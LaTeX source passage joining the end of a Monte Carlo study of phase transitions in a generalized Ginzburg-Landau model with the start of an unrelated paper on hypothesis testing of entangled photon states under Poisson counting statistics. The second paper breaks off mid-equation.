$\beta = 0.780\,08 \approx \beta_c$. The
line shows the three-parameter fit $a+b L^{\gamma/\nu}$, yielding for
$L \ge 16$ the estimate $\gamma/\nu=1.962(12)$.
}
\end{figure}
In order to characterize the transition more quantitatively we estimated
the interface tension\cite{1st_order},
\begin{equation}
F_L^s=\frac{1}{2 L^{d-1}}\ln{\frac{P_L^{\rm max}}{P_L^{\rm min}}},
\end{equation}
where $P_L^{\rm max}$ is the value of the two peaks and
$P_L^{\rm min}$ denotes the minimum in between. Here we have assumed
that for each lattice size the temperature was chosen such that the two
peaks are of equal height which can be achieved by histogram reweighting. The
thus defined temperatures approach the infinite-volume transition temperature
as $1/L^d$, and for the final estimate of $F^s=\lim_{L\rightarrow\infty}F_L^s$,
we performed a fit according to\cite{berg1}
\begin{equation}
F_L^s = F^s+\frac{a}{L^{d-1}}+\frac{b \ln(L)}{L^{d-1}}.
\label{eq:inter_fss}
\end{equation}
As is shown in Fig.~\ref{fig:inter}, the finite-lattice estimates
$F_L^s$ are clearly nonzero. The infinite-volume extrapolation
(\ref{eq:inter_fss}) tends to increase with system size and yields a
comparably large interface tension of $F^s=0.271(5)$.
Let us now turn to the second generic case, $\kappa=1$, where the model
definitely exhibits for $\sigma = 1.5$ a second-order phase transition around
$\beta \equiv 1/T \approx 0.8$. To confirm the expected critical exponents of
the O(2) or XY
model universality class, we simulated here close to criticality somewhat
larger lattices of size $L=4,8,12,16,20,24,32,40$, and $48$
and performed a standard FSS analysis. From short runs we
first estimated the location of the phase transition to be at
$\beta_0 = 0.7795 \approx \beta_c$. In the long
runs at $\beta_0$ we recorded the time series of the energy density $e=E/N$,
the magnetization $\vec{\mu}$, the mean modulus $\overline{|\psi|}$, and
the mean-square amplitude\cite{remark} $|\psi|^2$, as well as
the helicity modulus $\Gamma_\mu$ and
the vorticity $v$.
After an initial equilibration
time we took about $1\,000\,000$ measurements for each lattice size. Applying
the reweighting technique we first determined the maxima of the susceptibility,
$\chi\prime=N (\langle \vec{\mu}^2\rangle -\langle |\vec{\mu}| \rangle^2)$,
of $d\langle |\vec{\mu}| \rangle /d\beta$, and of the
logarithmic derivatives $d$ln$\langle |\vec{\mu}| \rangle /d\beta$ and
$d$ln$\langle \vec{\mu}^2 \rangle/d\beta$.
The locations of these maxima provide us with four sequences of
pseudo-transition points $\beta_{\rm max}(L)$ for which the scaling
variable $x=(\beta_{\rm max}(L) - \beta_c) L^{1/ \nu}$ should be constant.
Using this fact we then have several possibilities to extract the critical
exponent $\nu$ from (linear) least-squares fits of the FSS ansatz
$dU_L/d\beta \cong L^{1/ \nu} f_0(x)$ or
$d$ln$\langle |\vec{\mu}|^p\rangle /d\beta \cong L^{1/\nu} f_p(x)$ to the
data at
the various $\beta_{\rm max}(L)$ sequences. The quality of our data and the
fits starting at $L_{\rm min} = 8$, with goodness-of-fit parameters
$Q=0.85 - 0.90$, can be inspected in Fig.~\ref{fig_nu}. All resulting
exponent estimates and consequently also their weighted average,
\begin{equation}
1/\nu=1.493(7), \qquad \nu = 0.670(3),
\end{equation}
are in perfect agreement with recent high-precision Monte Carlo estimates
for the XY model universality class.\cite{hasen,campostrini} Note that
hyperscaling implies
$\alpha = 2 - 3 \nu = -0.010(9)$, which also favorably compares with recent
spacelab experiments on the lambda transition in liquid helium.\cite{g0_helium}
Assuming thus $1/\nu=1.493$ we can improve our estimate for $\beta_c$ from
linear least-squares fits to the scaling behavior of the various
$\beta_{\rm max}$ sequences. The combined estimate from the four sequences is
$\beta_c = 0.780\,08(4)$.
To extract the critical exponent ratio $\gamma/\nu$ we can now use the scaling
relation for the susceptibility
$\chi=N \langle \vec{\mu}^2\rangle \simeq a + b L^{\gamma/\nu}$ at $\beta_c$.
For $L\ge16$ we obtain from a FSS fit with $Q = 0.70$ the estimate of
\begin{equation}
\gamma/\nu=1.962(12)[9],
\end{equation}
where we also take into account the uncertainty in our estimate of
$\beta_c$; this error is estimated by repeating the fit at
$\beta_c\pm\Delta \beta_c$ and indicated by the number in square brackets.
Here we find a slight dependence of this value
on the lower bound of the fit range $[L_{\rm min},48]$, i.e., one would have
to include larger lattices for a high-precision estimate of the critical
exponent ratio $\gamma/\nu$, but this was not our objective here. Still,
these results are in good agreement with recent high-precision estimates
in the literature \cite{hasen,campostrini} and clearly confirm the expected second-order
nature of the phase transition in the standard complex $|\psi|^4$ model,
governed by XY model critical exponents.
A similar set of simulations at $\sigma = 0.25$ for lattice sizes
$L=4,8,12,14,16,20,24,28,32$, and $40$
gave the
exponent estimates $1/\nu = 1.498(9)$, $\nu = 0.668(4)$ and
$\gamma/\nu = 1.918(71)[8]$ (at $\beta_c = 0.9284(4)$),
which are less accurate but again compatible with the XY model universality
class. At any rate these results definitely rule out the possibility of a
first-order phase transition
in the standard model
at small $\sigma$-values. When going
to even smaller $\sigma$-values, the FSS analysis is more and more severely
hampered by
the vicinity of the Gaussian fixed point which induces strong crossover scaling
effects. Since consequently very large system sizes would be required to see
the true, asymptotic (XY model like) critical behavior we have not further
pursued our attempts in this direction. Here we only add the remark that
for $\sigma = 0.01$ the energy and magnetization distributions exhibit a clear
single-peak structure for all considered lattice sizes up to $L=20$, showing
that in the standard model with $\kappa = 1$ a phase-fluctuation induced
first-order phase transition is very unlikely even for very small $\sigma$
values.
We also checked the critical behavior along the line of second-order
transitions for $\kappa = 0$. Specifically, at $\sigma = 5$, i.e., sufficiently
far away from the crossover to first-order transitions at
$\sigma_t \approx 2.5$,
we obtained from FSS fits to data for lattices of size
$L=4,8,12,16,20,24,28,32$, and $40$ the exponent estimates
$1/\nu=1.489(7)$, $\nu=0.671(3)$ and
$\gamma/\nu=1.913(82)[13]$ (at $\beta_c = 0.97253(4)$). As expected by
symmetry arguments, also
these results for the second-order regime of the $\kappa = 0$ variant of the
model are in accord with the XY model universality class.
In a second set of simulations we explored the two-dimensional
$\sigma$-$\kappa$ parameter space of the generalized Ginzburg-Landau model
in the orthogonal direction by performing simulations at fixed $\sigma$ values
and $\kappa$ varying from $\kappa = 0$ to $1$. For most $\sigma$-values
we concentrated on the crossover region between first- and second-order
transitions when varying $\kappa$. For two selected values, $\sigma = 0.25$
and $\sigma = 1.5$, we studied the $\kappa$ dependence more systematically
by simulating all values from $\kappa = 0$ to $1$ in steps of $0.1$. In
addition we performed two further runs in the crossover regime at
$\kappa=0.85$ and $0.95$ for $\sigma= 0.25$ as well as at $\kappa = 0.15$ and
$\kappa = 0.25$ for $\sigma = 1.5$. In Fig.~\ref{fig:kappa} we show the
resulting mean-square amplitudes for all simulated values of
$\kappa$ at $\sigma = 0.25$ as a function of the temperature, indicating
again that for small $\kappa$ the transitions are first-order like while
for $\kappa$ closer to unity the expected second-order transitions emerge.
From Fig.~\ref{fig:kappa} we read off that for $\sigma = 0.25$ the
crossover between the two types of phase transitions happens around
$\kappa_t(\sigma=0.25) \approx 0.8$, and the analogous analysis for
$\sigma = 1.5$ yields $\kappa_t(\sigma=1.5) \approx 0.2$. The resulting
transition lines for these two $\sigma$-values are plotted in
Fig.~\ref{fig:kappa_T_diag},
where the thick lines indicate again first-order phase transitions.
Finally, by combining all numerical evidences collected so far with additional
data not described here in detail, we find
the phase structure in the $\sigma$-$\kappa$-plane depicted in
Fig.~\ref{fig:sigma_kappa_diag}. All points in the lower left corner for small
$\sigma$ and small $\kappa$ exhibit temperature driven first-order phase
transition when the temperature is varied, while all points in the upper right
corner display a continuous transition of the XY model type. This means in
particular that for the standard model parameterized by $\kappa=1$ this is
always true. Quantitatively the XY model is reached for all $\kappa$-values
in the limiting case $\sigma \longrightarrow \infty$.
\begin{figure}[tb]
\centerline{\hbox{\psfig{figure=r2_kappa.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{fig:kappa}
The $\kappa$ dependence of the mean-square amplitude
$\langle |\psi|^2 \rangle$ as a function of temperature on a $15^3$ lattice
for $\sigma=0.25$.
}
\end{figure}
\begin{figure}[tb]
\centerline{\hbox{\psfig{figure=phase.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{fig:kappa_T_diag}
Phase diagram in the $\kappa$-$T$-plane of the three-dimensional generalized
complex Ginzburg-Landau model for $\sigma=0.25$ and $\sigma = 1.5$. The
transitions
along the thick line for $\kappa<\kappa_t$ are of first order, and the
transitions for $\kappa>\kappa_t$ are of second order. The points labeled
$\kappa_t$ at the intersection of these two regimes are tricritical points.
}
\end{figure}
\begin{figure}[htb]
\centerline{\hbox{\psfig{figure=sigma_kappa.ps,angle=0,height=6.0cm,width=7.0cm}}}
\caption{\label{fig:sigma_kappa_diag}
Phase structure in the $\sigma$-$\kappa$-plane of the generalized complex
Ginzburg-Landau
model in three dimensions,
separating regions with first- and second-order phase transitions, respectively,
when the temperature is varied.
All continuous transitions fall into
the universality class of the XY model which is approached for all
$\kappa$-values in the limit $\sigma \longrightarrow \infty$.
}
\end{figure}
\subsection{Two dimensions}
\begin{figure*}[t]
\centerline{\hbox{\psfig{figure=e_1f.ps,angle=0,height=6.cm,width=7cm}
\psfig{figure=e_1.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=r2_1f.ps,angle=0,height=6.cm,width=7cm}
\psfig{figure=r2_1.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=gam_1f.ps,angle=0,height=6.cm,width=7cm}
\psfig{figure=gam_1.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=v_1f.ps,angle=0,height=6.cm,width=7cm}
\psfig{figure=v_1.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{2d_fig_e}
Energy density $e$,
mean-square amplitude $\langle|\psi|^2\rangle$,
helicity modulus $\Gamma_\mu$ and vortex density $v$ of the two-dimensional
model on $10^2, 20^2$ and $40^2$ square lattices for $\sigma = 1$ and
$\kappa=0$ (left) respectively $\kappa=1$ (right).
The straight line in the $\Gamma_{\mu}$ plots
indicate the universal KT jump $\Gamma_{\mu} = (2/\pi) T$ at
$T = T_c$, which clearly is only compatible with the data for the standard model
with $\kappa = 1$.
}
\end{figure*}
We conclude the paper with a few very brief remarks on the two-dimensional
generalized model where the Kosterlitz-Thouless nature of the standard
XY model transition
would require more care for a precise study. Here we only report results
of some runs at $\sigma=1$ for $10^2$, $20^2$, and $40^2$ square lattices.
As the main result, we find that the standard observables $e$,
$\langle |\psi|^2 \rangle$, $\Gamma$, and $v$
exhibit qualitatively the same pattern as in three dimensions. This is
demonstrated in Fig.~\ref{2d_fig_e} where again the two cases $\kappa = 0$
and $\kappa = 1$ are compared.
For $\kappa = 0$, the data are indicative of a first-order transition
around $T \approx 0.2$, while the behavior of the standard model with
$\kappa = 1$ is consistent with the expected Kosterlitz-Thouless transition
around $T \approx 0.4$. Note in particular that (only) the data for $\kappa = 1$
are compatible with the expected universal jump of the helicity modulus at $T_c$,
$\Gamma_\nu = (2/\pi) T$,
indicated by the straight line in the corresponding plots.
A careful investigation of the first-order transitions in the generalized
model with $\kappa = 0$ will be reported elsewhere.
\section{Summary} \label{summary}
The possibility of a phase-fluctuation induced first-order
phase transition in the standard three-dimensional Ginzburg-Landau model as
suggested by approximate variational calculations \cite{beck1}
cannot be confirmed by our numerical simulations down to very small
values of the parameter $\sigma$. Our results suggest,
however, that a generalized Ginzburg-Landau model can be tuned to
undergo first-order transitions by a mechanism similar to that
discussed in Ref.~\onlinecite{JK1} when varying the parameter $\kappa$
of an additional $\sum \ln R_n$ term in the generalized
Hamiltonian (\ref{eq:H_gen}). As in Ref.~\onlinecite{JK1} this can be
understood by a duality argument. For $0 \le \kappa < 1$ the extra term
reduces the ratio of core energies of vortex lines of vorticity two
versus those of vorticity one, and this leads to the same type of
transition as observed in defect melting of crystals.
The phase transitions of the standard model
as well as the continuous transitions of the generalized model are confirmed
to be governed by the critical exponents of the XY model or O(2) universality
class, as expected by general symmetry arguments. For the generalized model
it would be interesting to analyze in more detail the tricritical points
separating the regions with first- and second-order phase transitions. Such
a study, however, is quite a challenging project and hence left
for the future.
Exploratory simulations of the two-dimensional case, where the
standard model exhibits Kosterlitz-Thouless transitions, indicate
that a similar mechanism can drive the transition of the generalized model
to first order also there.
\section{Acknowledgments}
E.B.\ thanks the EU network HPRN-CT-1999-00161 EUROGRID -- ``Geometry and
Disorder: from membranes to quantum gravity'' for a postdoctoral grant.
Partial support by the German-Israel-Foundation (GIF) under contract
No.\ I-653-181.14/1999 is also gratefully acknowledged.
|
1,477,468,749,988 | arxiv | \section{Introduction}\label{s1}
Entangled states are an essential resource for various
quantum information processings\cite{Bennett93,Briegel98}.
Hence, it is required to generate
maximally entangled states.
However, for a practical use,
it is more essential to guarantee the quality of generated
entangled states.
Statistical hypothesis testing is a standard method
for guaranteeing the quality of industrial products.
Therefore, it is
much needed to establish the method
for statistical testing of maximally entangled states.
Quantum state estimation and
quantum state tomography
are known as the method of identifying the unknown
state\cite{Selected,helstrom,holevo}.
Quantum state tomography \cite{WJEK99} has been recently applied to obtain full
information of the $4 \times 4$ density matrix.
However, if the purpose is testing of entanglement,
it is more economical to concentrate on checking the degree of
entanglement.
Such a study has been done by
Tsuda et al \cite{TMH05}
as optimization problems of POVM.
However, an implemented quantum measurement cannot be regarded as
an application of a POVM to a single particle system or
a multiple application of a POVM to single particle systems.
In particular, in quantum optics,
the following measurement is often realized, which is not described by
a POVM on a single particle system.
The number of generated particles is probabilistic.
We prepare a filter corresponding to a projection $P$,
and detect the number of particle passing through the filter.
If the number of generated particles
obeys a Poisson distribution,
as is mentioned in Section \ref{s2},
the number of detected particles obeys another
Poisson distribution whose average is given by the
density and the projection $P$.
In this kind of measurements,
if any particle is not detected,
we cannot decide whether a particle is not generated or
it is generated but does not pass through the filter.
If we can detect the number of generated particles as well as
the number of passing particles,
the measurement can be regarded as
the multiple application of
the POVM $\{P,I-P\}$.
In this case, the number of
applications of the POVM is the variable corresponding to
the number of generated particles.
Also, we only can detect the empirical distribution.
Hence, our obtained information almost
discuss by use of the POVM $\{P,I-P\}$.
However, if it is impossible to distinguish the two events
by some imperfections,
it is impossible to reduce
the analysis of our obtained information to the analysis of POVMs.
Hence, it is needed to analyze
the performance of the estimation and/or the hypothesis testing
based on the Poisson distribution describing the
number of detected particles.
If we discuss the ultimate bound
of the accuracy of the estimation and/or the hypothesis testing,
we do not have to treat such imperfect measurements.
Since several realistic measurements have
such imperfections,
it is very important to optimize our measurement among
such a class of imperfect measurements.
In this paper, our measurement is restricted to
the detection of the number of the particle passing through the
filter corresponding to a projection $P$.
We apply this formulation to the testing of maximally entangled states
on two qubit systems (two-level systems),
each of which is spanned by
two vectors $\vert H\rangle$ and $\vert V\rangle$.
Since the target system is a bipartite system,
it is natural to restrict to our measurement to
local operations and classical communications (LOCC).
In this paper, for a simple realization,
we restrict our measurements
to the number of the simultaneous detections at the
both parties of the particles passing through
the respective filters.
We also restrict the total measurement time $t$,
and optimize the allocation of the time for each
filters at the both parties.
As our results,
we obtain the following characterizations.
If the average number of the generated particles is known,
our choice is counting the coincidence events
or the anti-coincidence events.
When the true state is close to the target
maximally entangled state
$\vert \Phi^{(+)} \rangle:=\frac{1}{\sqrt{2}}(\vert HH\rangle+\vert VV\rangle)$
(that is, the fidelity between these is greater than $1/4$),
the detection of anti-coincidence events
is better than that of coincidence events.
This result implies that
the indistinguishability
between the coincidence events and the non-generation event
loses less information
than that
between the anti-coincidence events and the non-generation event.
This fact also holds even if we treat this problem
taking into account the effect of dark counts.
In this discussion,
in order to remove the bias concerning
the direction of the difference,
we assume the equal time allocation
among the vectors
$\{\vert HV\rangle, \vert VH\rangle, \vert DX\rangle, \vert XD\rangle,
\vert RR\rangle, \vert LL\rangle \}$,
which corresponds to the anti-coincidence events,
and that among the vectors
$\{\vert HH\rangle, \vert VV\rangle, \vert DD\rangle, \vert XX\rangle,
\vert RL\rangle, \vert LR\rangle \}$,
which corresponds to the coincidence events,
where
$\vert D\rangle:=
\frac{1}{2}(\vert H\rangle+ \vert V\rangle)$,
$\vert X\rangle:=
\frac{1}{2}(\vert H\rangle- \vert V\rangle)$,
$\vert R\rangle:=
\frac{1}{2}(\vert H\rangle+i\vert V\rangle)$,
$\vert L\rangle:=
\frac{1}{2}(\vert H\rangle-i\vert V\rangle)$.
Indeed, Barbieri et al \cite{BMNMDM03}
proposed to detect
the anti-coincidence events for
measuring an entanglement witness,
they did not prove the superiority of detecting
the anti-coincidence events
in the framework of mathematical statistics.
However, the average number of
the generated particles is usually unknown.
In this case, we cannot estimate how close the true state
is to the target maximally entangled state
from the detection of anti-coincidence events.
Hence, we need to count the coincidence events
as additional information.
in order to resolve this problem,
we usually use the equal allocation between
anti-coincidence events and coincidence events
in the visibility method, which is a conventional method
for checking the entanglement.
However, since we measure the coincidence events and the anti-coincidence
events based on one or two bases in this method,
there is a bias concerning the direction of the difference.
In order to remove this bias,
we consider the detecting method with the equal time allocation
among all vectors
$\{\vert HV\rangle, \vert VH\rangle, \vert DX\rangle, \vert XD\rangle,
\vert RR\rangle, \vert LL\rangle \}$
and
$\{\vert HH\rangle, \vert VV\rangle, \vert DD\rangle, \vert XX\rangle,
\vert RL\rangle, \vert LR\rangle \}$,
and call it the modified visibility method.
In this paper, we also examine the detection of the total flux,
which can be realized by detecting the particle without the filter.
We optimize the time allocation among
these three detections.
We found that
the optimal time allocation depends on
the fidelity between the true state and the target maximally entangled state.
If our purpose is estimating the fidelity $F$,
we cannot directly apply the optimal time allocation.
However, the purpose is testing whether the fidelity $F$ is greater than
the given threshold $F_0$,
the optimal allocation at $F_0$ gives
the optimal testing method.
If the fidelity $F$ is less than a critical value,
the optimal allocation is given by
the allocation between
the anti-coincidence vectors and
the coincidence vectors (the ratio depends on $F$.)
Otherwise, it is given by the allocation only between
the anti-coincidence vectors and the total flux.
This fact is valid even if the dark count exists.
If the dark count is greater than a certain value,
the optimal time allocation is always given by
the allocation between
the anti-coincidence vectors and
the coincidence vectors.
Further, we consider the optimal allocation
among anti-coincidence vectors
when the average number of generated particles.
The optimal allocation depends on the direction of the difference
between the true state and the target state.
Since the direction is usually unknown,
this optimal allocation dose not seems useful.
However, by adaptively deciding the optimal time allocation,
we can apply the optimal time allocation.
We propose to apply this optimal allocation
by use of the two-stage method.
Further, taking into account the complexity of testing methods
and the dark counts,
we give a testing procedure of entanglement
based on the two-stage method.
In addition, proposed designs of experiments were demonstrated
by Hayashi et al. \cite{HSTMTJ} in two photon pairs generated by
spontaneous parametric down conversion (SPDC).
In this article, we reformulate the hypothesis testing to be applicable to
the Poisson distribution framework,
and demonstrate the effectiveness
of the optimized time allocation in the entanglement test.
The construction of this article is following.
Section \ref{s2} defines
the Poisson distribution framework and gives
the hypothesis scheme for the entanglement.
Section \ref{s3} gives the mathematical formulation concerning
statistical hypothesis testing.
Sections \ref{s4} and \ref{s5} give
the fundamental properties of the hypothesis testing:
section \ref{s4} introduces the likelihood ratio test and its modification,
and
section \ref{s5} gives the asymptotic theory of the hypothesis testing.
Sections \ref{s6}-\ref{s9} are devoted to the designs of the time allocation
between the coincidence and anti-coincidence bases:
section \ref{s6} defines the modified visibility method,
section \ref{s7} optimize the time allocation,
when the total photon flux $\lambda$ is unknown,
section \ref{s8} gives the results with known $\lambda$,
and section \ref{s9} compares the designs in terms of the asymptotic variance.
Section \ref{s10} gives further improvement by optimizing the time allocation
between the anti-coincidence bases.
Appendices give the detail of the proofs used in the optimization.
\section{Hypothesis Testing scheme for entanglement
in Poisson distribution framework}\label{s2}
Let ${\cal H}$ be the Hilbert space of our interest, and
$P$ be the projection corresponding to our filter.
If we assume generation process on each time
to be identical but individual,
the total number $n$ of generated particles
during the time $t$ obeys the Poisson distribution
${\rm Poi}(\lambda t)(n):= e^{-\lambda t}\frac{(\lambda t)^n}{n !}$.
Hence, when the density of the true state is $\sigma$,
the probability of the number $k$ of detected particles
is given as
\begin{align}
&\sum_{n=0}^\infty
{\rm Poi}(\lambda t)(n)
\choose{n}{k}
(\mathop{\mathbf{Tr}}\nolimits P \sigma)^k
(1- \mathop{\mathbf{Tr}}\nolimits P \sigma)^{n-k}\nonumber \\
=&
{\rm Poi}(\lambda t
\mathop{\mathbf{Tr}}\nolimits P \sigma )(k).\label{5-8-1}
\end{align}
\begin{figure}[htbp]
\begin{center}
\includegraphics*[width=8cm]{hypo-fig.eps}
\end{center}
\caption{Experimental scheme in Poisson distribution framework}
\label{scheme}
\end{figure}
In fact,
if we treat the Fock space generated by ${\cal H}$
instead of the single particle system ${\cal H}$,
this measurement can be described by a POVM.
However, since this POVM dooes not have a simple form,
it is suitable to treat this measurement in the form (\ref{5-8-1}).
Further, if we errorly detect the $k'$ particles
with the probability ${\rm Poi}(\delta t)(k')$,
the probability of the number $k$ of detected particles
is equal to
\begin{align*}
&\sum_{k'=0}^k
{\rm Poi}(\lambda t
\mathop{\mathbf{Tr}}\nolimits P \sigma )(k-k')
+
{\rm Poi}(\delta t)(k')\\
=&
{\rm Poi}
((\lambda \mathop{\mathbf{Tr}}\nolimits P \sigma +\delta )t)(k).
\end{align*}
This kind of incorrect detection
is called dark count.
Further, since we consider the bipartite case, i.e., the case where
${\cal H}= \mathbb{C}^2 \otimes \mathbb{C}^2$,
we assume that our projection $P$ has the separable form
$P_1 \otimes P_2$.
In this paper,
under the above assumption, we discuss the hypothesis testing
when
the target state is the maximally entangled $\vert \Phi^{(+)} \rangle $ state
while Usami et al.\cite{Usami}
discussed the state estimation under this assumption.
Here we measure the degree of entanglement by the fidelity
between the generated state and the target state:
\begin{equation}
F = \langle \Phi^{(+)} \vert \sigma \vert \Phi^{(+)} \rangle.
\label{Fidelity}
\end{equation}
The purpose of the test is to guarantee that the state is sufficiently
close to the maximally entangled state with a certain significance.
That is, we are required to disprove
that the fidelity $F$ is less than a threshold $F_0$
with a small error probability.
In mathematical statistics, this situation is
formulated as hypothesis testing;
we introduce the null hypothesis $H_0$ that
entanglement is not enough and
the alternative $H_1$ that the entanglement is enough:
\begin{align}
H_0:F \le F_0 \hbox{ v.s. }
H_1:F > F_0,\label{5-5-2}
\end{align}
with a threshold $F_0$.
Visibility is an indicator of
entanglement commonly used in the experiments,
and is calculated as follows:
first, A's measurement vector $\ket{x_A}$ is fixed,
then the measurement $\ket{x_A,y_B}$ is performed by rotating
B's measurement vector $\ket{x_B}$ to obtain the maximum and minimum
number of the counts, $n_{max}$ and $n_{min}$.
We need to make the measurement with at least two bases of A in order to
exclude the possibility of the classical correlation.
We may choose the two bases
$\{|H\rangle,|V\rangle\}$ and
$\{|D\rangle,|X\rangle\}$ as $\ket{x_A}$,
for example.
Finally, the visibility is given
by the ratio between $n_{max}-n_{min}$ and $n_{max}+n_{min}$
with the respective A's measurement basis $\ket{x_A}$.
However, our decision will contain a bias,
if we choose only two bases as A's measurement basis $\ket{x_A}$.
Hence, we cannot estimate the fidelity between
the target maximally entangled state and the given state
in a statistically proper way from the visibility.
Since the equation
\begin{align}
&|HH\rangle\langle HH|+|VV\rangle\langle VV|+
|DD\rangle\langle DD|\nonumber \\
&+|XX\rangle\langle XX|+
|RL\rangle\langle RL|+|LR\rangle\langle LR|\nonumber \\
=&
2|\Phi^{(+)}\rangle\langle\Phi^{(+)}|+ I\label{2-12}
\end{align}
holds,
we can estimate the fidelity
by measuring the sum of
the counts of
the following vectors:
$|HH\rangle, |VV\rangle, |DD\rangle, |XX\rangle,
|RL\rangle,$ and $|LR\rangle$,
when $\lambda$ is known\cite{BMNMDM03,TMH05}.
This is because
the sum $n_1:= n_{HH}+n_{VV}+ n_{DD}+ n_{XX}+n_{RL}+n_{LR}$
obeys the Poisson distribution with the expectation value
$(\lambda \frac{1+ 2F }{6}+\delta)t_1$,
where the measurement time for each vector is $\frac{t_1}{6}$.
We call these vectors the coincidence vectors because
these correspond to the coincidence events.
However, since the parameter $\lambda$ is usually unknown,
we need to perform another measurement on different vectors
to obtain
additional information.
Since
\begin{align}
&|HV\rangle\langle HV|+|VH\rangle\langle VH|+|XD\rangle\langle XD|\nonumber \\
&+|DX\rangle\langle DX|+|RR\rangle\langle RR|+|LL\rangle\langle LL|\nonumber \\
=&
2I - 2|\Phi^{(+)}\rangle\langle\Phi^{(+)}|
\end{align}
also holds,
we can estimate the fidelity
by measuring the sum of
the counts of
the following vectors:
$|HV\rangle, |VH\rangle, |DX\rangle, |XD\rangle,
|RR\rangle$, and $|LL\rangle$.
The sum $n_2:= n_{HV}+ n_{VH}+ n_{DX}+ n_{XD}+ n_{RR}+ n_{LL}$
obeys the Poisson distribution
$\rm Poi((\lambda \frac{2- 2F }{6}+\delta)t_2)$,
where the measurement time for each vector is $\frac{t_2}{6}$.
Combining the two measurements, we can estimate the fidelity
without the knowledge of $\lambda$.
We call these vectors the anti-coincidence vectors because
these correspond to the anti-coincidence events.
We can also consider different type of measurement
on $\lambda$.
If we prepare our device to detect all photons, i.e.,
the case where the projection is $I \otimes I$,
the detected number $n_3$ obeys the distribution
$\rm Poi((\lambda+\delta) t_3$) with the measurement time $t_3$.
We will refer to it as the total flux measurement.
In the following, we consider the best time allocation for estimation
and test on the fidelity,
by applying methods of mathematical statistics.
We will assume that $\lambda$ is known or
estimated from the detected number $n_3$.
\section{Hypothesis testing for probability distributions}\label{s3}
\subsection{Formulation}
In this section, we review the fundamental knowledge
of hypothesis testing for probability distributions\cite{lehmann}.
Suppose that a random variable $X$ is
distributed according to
a probability measure $P_\theta$
identified by the unknown parameter $\theta$.
We also assume that
the unknown parameter $\theta$
belongs to one of
mutually disjoint sets $\Theta_0$ and $\Theta_1$.
When we want to guarantee that
the true parameter $\theta$ belongs to the set $\Theta_1$
with a certain significance,
we choose the null hypothesis $H_0$ and
the alternative hypothesis $H_1$ as
\begin{equation}
\label{eq:hypo}
H_0:\theta\in\Theta_0
\mbox{ versus }
H_1:\theta\in\Theta_1.
\end{equation}
Then, our decision method is described by
a test, which is described as a function
$\phi(x)$ taking values in $\{0,1\}$;
$H_0$ is rejected if $1$ is observed,
and
$H_0$ is not rejected if $0$ is observed.
That is, we make our decision only when $1$ is observed,
and do not otherwise.
This is because
the purpose is accepting $H_1$ by rejecting $H_0$
with guaranteeing the quality of our decision,
and is not rejecting $H_1$ nor accepting $H_1$.
Therefore, we call the region $\{x|\phi(1)=1\}$ the
rejection region.
The test $\phi$ can be defined by the rejection region.
In fact, we choosed the hypothesis that the fidelity is less than the
given threshold $\theta_0$ as the null hypothesis $H_0$ in Section \ref{s2}.
This formulation is natural because
our purpose is guaranteeing that the fidelity is not less
than the given threshold $\theta_0$.
From theoretical viewpoint, we often consider randomized tests,
in which we probabilistically make the decision for a given data.
Such a test is given by a function $\phi$ mapping to the interval $[0,1]$.
When we observe the data $x$,
$H_0$ is rejected with the probability $\phi(x)$.
In the following, we treat randomized tests as well as
deterministic tests.
In the statistical hypothesis testing,
we minimize error probabilities of the test $\phi$.
There are two types of errors.
The type one error is the case where
$H_0$ is rejected though it is true.
The type two error is the converse case,
$H_0$ is accepted though it is false.
Hence, the type one error probability is given
$P_\theta(\phi)$ $(\theta \in \Theta_0)$, and
the type two error probability is given
$1-P_{\theta'}(\phi)$ $(\theta' \in \Theta_1)$, where
\begin{eqnarray*}
P_\theta(\phi)=
\int\phi(x)d P_\theta(x).
\end{eqnarray*}
It is in general impossible to minimize both
$P_\theta(\phi)$ and $1-P_{\theta'}(\phi)$ simultaneously
because of a trade-off relation between them.
Since we make our decision
with guaranteeing its quality
only when $1$ is observed,
it is definitively required that
the type one error probability $P_\theta(\phi)$
is less than a certain constant $\alpha$.
For this reason,
we minimize the type two error probability $1-P_{\theta'}(\phi)$
under the condition $P_{\theta}(\phi)\le\alpha$.
The constant $\alpha$ in the condition is called
the risk probability,
which guarantees the quality of our decision.
If the risk probability is large enough,
our decision has less reliability.
Under this constraint for the risk probability,
we maximize the probability to reject
the hypothesis $H_0$ when the true parameter is $\theta'\in \Theta_1$.
This probability is given as $P_\theta(\phi)$,
and is called the power of $\phi$.
Hence, a test $\phi$ of the risk probability $\alpha$
is said to be most powerful (MP) at $\theta'\in\Theta_1$
if $P_{\theta'}(\phi)\ge P_{\theta'}(\psi)$ holds
for any test $\psi$ of the risk probability $\alpha$.
Then, a test is said to be Uniformly Most Powerful (UMP)
if it is MP at any $\theta'\in\Theta_1$.
\subsection{p-values} \label{pval}
In the hypothesis testing,
we usually fixed our test before applying
it to data.
However, we sometimes focus on the
minimum risk probability
among tests in a class $\tilde{T}$
rejecting
the hypothesis $H_0$ with a given data.
This value is called the p-value, which depends on the observed data $x$
as well as the subset $\Theta_0$ to be rejected.
In fact, in order to define the p-value,
we have to fix a class $T$ of tests.
Then,
for $x$ and $\Theta_0$, p-value is defined as
\begin{align}
\min_{\phi \in T: \phi(x)=1}
\max_{\theta \in \Theta_0}
P_{\theta} (\phi).
\end{align}
Since the p-value expresses the risk for rejecting the hypothesis $H_0$,
Hence, this concept is useful
for comparison among several designs of experiment.
Note that if we are allowed to choose any function $\phi$ as a test,
the above minimum is attained by the function $\delta_x$:
\begin{align}
\delta_x(y)= \left\{
\begin{array}{ll}
0 & \hbox{ if } y \neq x \\
1 & \hbox{ if } y = x .
\end{array}
\right.
\end{align}
In this case, the p-vale is
$\max_{\theta \in \Theta_0}P_{\theta} (x)$.
However, the function $\delta_x$ is unnatural as a test.
Hence, we should fix a class of tests to define p-value.
\section{Likelihood Test}\label{s4}
\subsection{Definition}
In mathematical statistics, the likelihood ratio tests
is often used as a class of standard tests\cite{lehmann}.
This kind of tests often provide
the UMP test in some typical cases.
When both $\Theta_0$ and $\Theta_1$ consist of single elements
as $\Theta_0=\{\theta_0\}$ and $\Theta_1=\{\theta_1\}$,
the likelihood ratio test
$\phi_{\mathop{\rm LR}\nolimits,r}$ is defined as
\[
\phi_{\mathop{\rm LR}\nolimits,r}(x):=
\begin{cases}
